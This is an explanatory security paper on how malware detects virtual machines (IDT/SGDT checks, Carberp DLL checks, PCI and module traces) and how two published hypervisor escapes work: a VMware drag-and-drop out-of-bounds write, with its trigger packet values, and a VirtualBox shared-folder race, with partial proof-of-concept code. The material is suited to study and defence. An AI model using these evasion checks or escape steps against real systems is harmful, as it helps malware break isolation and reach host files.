Red Pill: Detecting and Exploiting Virtual Machines

Toure Pape Alpha

December 10, 2017

Contents

1 Introduction

This paper is an analysis of the current state of virtual machines' security, showcasing how features have been turned into attack vectors that can pose threats to real enterprise level infrastructures. Despite the few real world scenarios that have actively exploited security holes, they remain one of the most dangerous threats organizations have to look out for.

1.1 Staircase to Successful Exploitation

Despite the increasing attempts to publicly talk about offensive security, it is still a niche art that often times leaves observers with the fundamental question of "how" it all happenes. The techniques discussed in this paper revolve around the lower level aspects of computer science therefore the reader is expected to have a certain degree of familiary with CPU architectures, C and operating systems theory. The main focus of this writing are going to be the first two points of the phases when trying to break out of a virtualized environment. The vast majority of exploits chains can be broken down to these fundamental phases:

- **Reconissance Phase**: Determining the nature of the environment in which the process is executing is the most important thing. Based upon the gathered data, decision should be made in regards to how to behave. This means that if the necessary condisitions aren't met, it is best to clean up the envinronment and exit. Anything that the operating system reveals becomes precious in the later phases of the attack.
- **Exploitation Phase**: The attack surface is made of anything that can be used to influence the host machine, ranging from vulnerable system calls to folders sharing mechanisms. Memory corruption or even better, logical bugs are be leveraged in order to get arbitrary code execution on the host machine. In order to take control of the target it is necessary to hijack the execution flow and redirect it to your payload.
- **Maintaining Persistance**: In this phase there are quite alot of things an attacker can do to gain persistance and stay undetected. Rootkits[1] are one of the most effective tools at the disposal of an intruder. It sohuld be taken into account though, that modern operating systems have made their deployement much harder by making the entire exploitation chain harder to pull off. Ever since code signing has ben added to kernel mode drivers on top of exploit-mitigation features, staying in kernel space has been a much harder task to accomplish than it used to. The astute reader may have noticed that maintaining persistance is likely to involve the use of multiple exploits and therefore, embodying the entire exploitation process in itself.

[1] A rootkit is a collection of computer software, designed to enable access to a computer or areas of its software that would not otherwise be allowed (for example, to an unauthorized user) and often masks its existence or the existence of other software

2 Detecting Virtualized Environments

"You take the blue pill, the story ends. You wake up in your bed and believe whatever you want to believe. You take the red pill, you stay in Wonderland, and I show you how deep the rabbit hole goes." - Morpheus, Matrix

2.1 OS Sensitive Data Structures

An anti virtualization technique historically used, consisted in looking for the address of Interrupt Descriptor Table[2] in memory. In Windows XP this allowed any program to detect the virtual machine and consequentially alter his behaviour.

```
IDT idt;
sidt(&idt);
if (idt.base <= 0x8003F400 || idt.base >= 0x80047400)
{
    // Virtual Machine detected
    return -1;
}
```

Windows XP as a counter measure, no longer place these sensitive data structures at fixed addresses but instead use a random ones at boot time. Joanna Rutkowska used a similar method that abused instead the fact that virtualizers placed these data structures at fixed values therefore fully bypassing native OS address randomization.

```
int swallow_redpill () {
   unsigned char m[2+4], rpill[] = "\x0f\x01\x0d\x00\x00\x00\x00\xc3";
   *((unsigned*)&rpill[3]) = (unsigned)m;
   ((void(*)())&rpill)();
   return (m[5]>0xd0) ? 1 : 0;
 }
```

Despite the very cryptic form, all the function does is store the content of the IDTR register and check the highest byte for specific values. This technique has an intrisic problem as the IDT structure is per-core and as such will return a false posivite on multi processor systems.

In order to circumvent the aforementioned problems a slightly modified version has been developed to work with the SGDT instructions, which return the same information for all CPUs. Due to the hardening that Virtual Machines have gone throught throughout the years these methods no longer work reliably.

Another less widely employed method consisted in measuring the time taken to execute instructions. Beyond certain boundaries the attacker can safely assume he/she is a virtualized environment.

2.2 Virtual Machines Traces

Due to the way most virtualization software works, alot of traces are left in the forms of running processes, files, registry keys. This used to be the bread and butter anti virtualization technique. The leaked source code of Win32/Carberp shows what the malware authors were trying to avoid: the trojan looks for a series of dlls and .sys files used respectively by Parallels, Sandboxie and WinDbg.

```
bool DetectVM()
{
    [...]
```

[2]OS running x86 architectures use this data structure to map interrupts to their handlers

```
4       if(CheckDir(szBuf, "prleth.sys")) return true;
5       [...]
6       if(GetModuleHandle("sbiedll.dll")) return true;
7       if(GetModuleHandle("dbghelp.dll")) return true;
8       [...]
9   }
```

As far as *nix system goes, the list of PCI devices reported by the virtualized hardware may contain references to the virtualizing software

```
$ lspci -nn | grep VirtualBox
00:02.0 VGA compatible controller [0300]: InnoTek Systemberatung GmbH VirtualBox ...
00:04.0 System peripheral [0880]: InnoTek Systemberatung GmbH VirtualBox ...
```

Problems occuring with such a approach should be clear: on top of being relying on user modifiable strings, it requires a continuos effort in identifying new PCI identifiers.

Similarly to PCIs, drivers that cannot reliably yeld fruitful results

```
$ lsmod | grep vbox
vboxvfs 35616 0
vboxvideo 3040 1
drm 193856 2 vboxvideo
vboxguest 170956 8 vboxvfs
```

2.3 Modern detection

When it comes to detecting virtualized environments, attackers find themselves with very primitive tools and techniques that have long been fixed or patched. The reason high profile attacks rarely make use of these shortcomings, is because of their very unstable nature and their very limited capabilities. Tactics that rely on scanning the environment looking for telltales are, on top of being doomed to generate alot of false positives, very likely to have a short life span as they can be trivially patched. Moreover, when they do happen to be working, they do so under very specific circumstences thus severely harming malwares' ability to detect virtualized environments. All of the techniques showcased in this paper are quite old, some of them even date back to 2004. They all work under the assumption that the virtualized environment hasn't gone throught any process of hardening which is still an uncommon practice among researchers.

3 Breaking Out of Virtualization

3.1 Sandboxes and Virtual Machines

Before continuing it is proper to make a distinction between what a sandbox and what a virtual machine is: the two can achieve a similar goal in two very different ways. Due to the way the execution contest interacts with the host operating system, a sandbox is much more prone to security holes as it shares resources with the host OS. An analysis of how sandboxes can be broken is out of the scope of this paper. The reason behind them having such a fundamental difference is because they were created to address two different problems: hardware limitations for vms and the restriction of environment for sandboxes.

3.2 VMware Escape: CVE-2016-7461

Hypervisors are just human-written programs and as such, contain all sorts of bugs that can be turned into security holes. Here I decided to present two kinds of vulnerabilities, a **logic bug** and a **memory corruption**. The difference between the two is clear. The former can be found in every kind of language (such C, C++ or Python) because they are semantic errors that lead to undefined behaviors. This is one of the favored attack vectors used as they can be triggered with an extremely high reliability and are easier to maintain. The latter cannot be carried out using interpreted languages as the only way to influence the CPU is by overwriting sensitive values in use, thus hijacking code execution by redirecting the program counter to unintended memory addresses.

CVE-2016-7461[3] is an out of bounds read/write vulnerability affecting the Drag and Drop functionality. VMware's security advisory:

> *"The drag-and-drop (DnD) function in VMware Workstation and Fusion has an out-of-bounds memory access vulnerability. This may allow a guest to execute code on the operating system that runs Workstation or Fusion. On Workstation Pro and Fusion, the issue cannot be exploited if both the drag-and-drop function and the copy-and-paste (C&P) function are disabled."*

As alot of past vulnerabilites, this one uses RPC[4] protocol as attack vector to carry out the first stage of the exploit.

3.2.1 RPC Protocol in VMware

In order to establish a comminucation channel between the host and the guest OS, VMware uses an RPC interface called Backdoor.
Fortunately VMware's open-vm-tools is open source, and can be used to ease analysis. The functions used to communicate can be found in open-vm-tools/open-vm-tools/lib/include/rpcout.h

```
1 [...]
2 RpcOut *RpcOut_Construct(void);
3 void RpcOut_Destruct(RpcOut *out);
4 Bool RpcOut_start(RpcOut *out);
5 Bool RpcOut_send(RpcOut *out, char const *request, size_t reqLen,
6                   Bool *rpcStatus, char const **reply, size_t *repLen);
7 Bool RpcOut_stop(RpcOut *out);
8 [...]
```

[3] The Common Vulnerabilities and Exposures (CVE) system provides a reference-method for publicly known information-security vulnerabilities and exposures

[4] In distributed computing, a remote procedure call (RPC) is when a computer program causes a procedure (subroutine) to execute in a different address space (commonly on another computer on a shared network), which is coded as if it were a normal (local) procedure call, without the programmer explicitly coding the details for the remote interaction.

VMware ships with rpctools.exe and it can be used to communicate over RPC. Taking a look at the function's inner workings with a disassembler we can find the following.

```
push    esi
mov     esi, [ebp+arg_0]
push    eax
push    ecx
push    esi
call    Message_Send
```

Message_Send is the function that calls Backdoor. Backdoor is exported in vmtools.dll and is represented as follows.

```
arg_0= dword ptr  8

push    ebp
mov     ebp, esp
mov     eax, [ebp+arg_0]
mov     ecx, 5658h                  ; VMWare I/O Port
push    eax
mov     dword ptr [eax], 564D5868h  ; Magic Number
mov     [eax+0Ch], cx
call    sub_412440                  ; perform the actual input acquisition
add     esp, 4
pop     ebp
retn
```

The packets sent between the host and the guest are defined in .../dnd/dndCPMsgV4.h.

```
struct DnDCPMsgHdrV4 {
   uint32 cmd;             /* DnD/CP message command. */
   uint32 type;            /* DnD/CP message type. */
   uint32 src;             /* Message sender. */
   uint32 sessionId;       /* DnD/CP session ID. */
   uint32 status;          /* Status for last operation. */
   uint32 param1;          /* Optional parameter. Optional. */
   uint32 param2;          /* Optional parameter. Optional. */
   uint32 param3;          /* Optional parameter. Optional. */
   uint32 param4;          /* Optional parameter. Optional. */
   uint32 param5;          /* Optional parameter. Optional. */
   uint32 param6;          /* Optional parameter. Optional. */
   uint32 binarySize;      /* Binary size. */
   uint32 payloadOffset;   /* Payload offset. */
   uint32 payloadSize;     /* Payload size. */
}
```

The structure will be discussed more thorughtly later. Now that some familiarity is gained with the way messages are sent by the guest OS, its time to take a look at how the host OS handles RPC packets. The host machines in the case of the author of this paper (Windows) uses vmware-vmx.exe to handle RPC requests.

3.2.2 Triggering the vulnerability

The decompiled code of the vulnerable functions applies the following sanity checks.

```
// ...
if (packet->packetSize < DND_CP_MSG_HEADERSIZE_V4)
    return -1;
```

```
// ...
if (packet->payloadSize > 0xFF64)
    return -1;
// ...
if (packet->binarySize < 0x400000)
    return -1;
// ...
if (packet->payloadOffset + packet->payloadSize < packet->binarySize)
    return -1;
// ...
```

In order to trigger the vulnerability, the first step consists in sending a Drag and Drop packet with specific values. This will make vmware-vmx.exe (host process) allocate a new buffer. These values have been reported by McAfee researchers to be the most crash-inducing ones.

```
packet->binarySize is 0x10000
packet->payloadOffset is 0x0
packet->payloadSize is 0x500
```

The final step in overwriting memory is to send a second slightly modified packet.

```
packet->binarySize is 0x10100
packet->payloadOffset is 0x500
packet->payloadSize is 0xFC00
```

Since the second packet has the same session id, the vmware-vmx.exe process won't allocate a new one, thus overwriting 0x100 bytes of memory. Althought this is not a fully working exploit, this is the first step to achieving code execution on the host machine. As such, elevated privileges have to be obtained via another exploit.

3.3 VirtualBox Escape: CVE-2017-3538

As said earlier this vulnerability won't involve a corruption of values store in memory, but will exploit the undeterministic access processes have towards resources when running on a SMP[5] system. A Google Security Researcher reported this vulnerability and provided detailed information on how to reproduce the bug.

There is a security issue in the shared folder implementation that permits cooperating guests with write access to the same shared folder to gain access to the whole filesystem of the host, at least on Linux hosts.

3.3.1 Race Conditions

Race conditions are a class of software bugs in which the output of a given system relies on the often uncontrollable timing and the order in which events occur, thus leading to undefined behaviours. A **T**ime **O**f **C**heck **T**ime **T**o **U**se vulnerability consists in checking in the lack of detection of changes between the checking of a condition and the use of the result of that check.

3.3.2 Prerequisite

Before being able to trigger the vulnerability, it is mandatory to verify that certain conditions are met. The Linux host must be running VirtualBox 5.1.10, the two Linux VMs must be

[5]Symmetric multiprocessing (SMP) involves a multiprocessor computer hardware and software architecture where two or more identical processors are connected to a single, shared main memory, have full access to all I/O devices, and are controlled by a single operating system instance that treats all processors equally, reserving none for special purposes

equipped with the guest extension to enable shared folders and lastly share a writeable folder. The vulnerable function is int "sf_reg_open(struct inode *inode, struct file *file)".

```
-    rc = VbglR0SfCreate(&client_handle, &sf_g->map, sf_i->path, &params);
+    copy = kmalloc(sizeof(*copy) + sf_i->path->u16Size, GFP_KERNEL);
+    memcpy(copy, sf_i->path, sizeof(*copy) + sf_i->path->u16Size);
+    if ((file->f_flags & O_CREAT) == 0) {
+        for (i=0; i<copy->u16Length; i++) {
+            if (copy->String.utf8[i] == '#') copy->String.utf8[i] = '/';
+        }
+    }
+    rc = VbglR0SfCreate(&client_handle, &sf_g->map, copy, &params);
+    kfree(copy);
     if (RT_FAILURE(rc))
```

The following patch checks whether the file exist. Due to the fact that sometimes renames can occure during path traversal, by moving the file at the root of the shared folder, the VM attempting to open the file can succefully access the host file system. In order to increase the attack window, the time taken to travers the path should be maximized by creating as many directories possible. This vulnerability can only be leveraged if the shared folder isn't 9 levels away from the filesystem root.

3.3.3 Triggering the vulnerability

For the sake of brevity, only included the most relevant parts of the exploit. The first virtual machine, the one that will attempt to access the file will execute the following code

```
1 system("rm -rf 0_");
2 system("touch 0_#1#2#3#4#5#6#7#8#9#..#..#..#..#..#..#..#..#..#real_root_marker");
3 system("mkdir -p 0/1/2/3/4/5/6/7/8/9/x");
```

This the file we want to read and the shared folder are created. '#' are used as the the patch converts them to '/'.

```
1 // path = "0_/1/2/3/4/5/6/7/8/9/..#..#..#..#..#..#..#..#..#real_root_marker"
2 while (1) {
3         fd = open(path, O_RDONLY);
4         if (fd == -1 && errno != ENOENT)
5                 perror("open");
6         if (fd != -1) break;
7 }
```

The exploit will keep trying to access the file in the root directory and it will succeed when the second virtual machine successfully moves the file to the root of the sared folder.

```
1 while (1) {
2     if (rename("0/1/2/3/4/5/6/7/8/9", "0_")) perror("rename a");
3     if (rename("0_", "0/1/2/3/4/5/6/7/8/9")) perror("rename b");
4 }
```

This proof of concept can easily be turned into a fully working exploit by leaking important files or launching shells that can be later used as to escalate privileges.

4 Conclusions

Unlinke sandboxes, which keep getting broken, hypervisors has proved to be an extremely effective tool when it comes to isolating processes. Due to VMs nature, they're not as easy to demploy and thus can't be fully leveraged outside of specific environments. Despite the lack of proper virtualization detection techiniques malwares are still able to fight back in what would otherwise be a dead end battle. The vast majority of the methods presented here will fail if certain plugins aren't installed, the machine goes through customization or worse hardening. In regards to memory corruption vulnerabilites used to break out of them, there are no incentives for anyone who holdes them to burn them in a large scale attack. The only instance under which it is reasonable to assume multiple high value exploits are used in the same attack are APTs[6]. Stuxnet is attributed to government agencies as it used 4 different 0 days[7] exploits.

[6] An advanced persistent threat is a set of stealthy and continuous computer hacking processes, often orchestrated by a person or persons targeting a specific entity. An APT usually targets either private organizations, states or both for business or political motives. APT processes require a high degree of covertness over a long period of time. The "advanced" process signifies sophisticated techniques using malware to exploit vulnerabilities in systems. The "persistent" process suggests that an external command and control system is continuously monitoring and extracting data from a specific target. The "threat" process indicates human involvement in orchestrating the attack.

[7] A zero-day (also known as zero-hour or 0-day or day zero) vulnerability is an undisclosed computer-software vulnerability that hackers can exploit to adversely affect computer programs, data, additional computers or a network.

References

[1] Wikipedia.

[2] Michael Sikorski and Andrew Honig. *Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software by Michael Sikorski and Andrew Honig* Mar 3, 2012

[3] Robert Love. *Linux Kernel Development (3rd Edition)* Jul 2, 2010

[4] Bruce Dang and Alexandre Gazet. *Practical Reverse Engineering: x86, x64, ARM, Windows Kernel, Reversing Tools, and Obfuscation* Feb 17, 2014

[5] Chris Anley *The Shellcoder's Handbook: Discovering and Exploiting Security Holes* Apr 2, 2004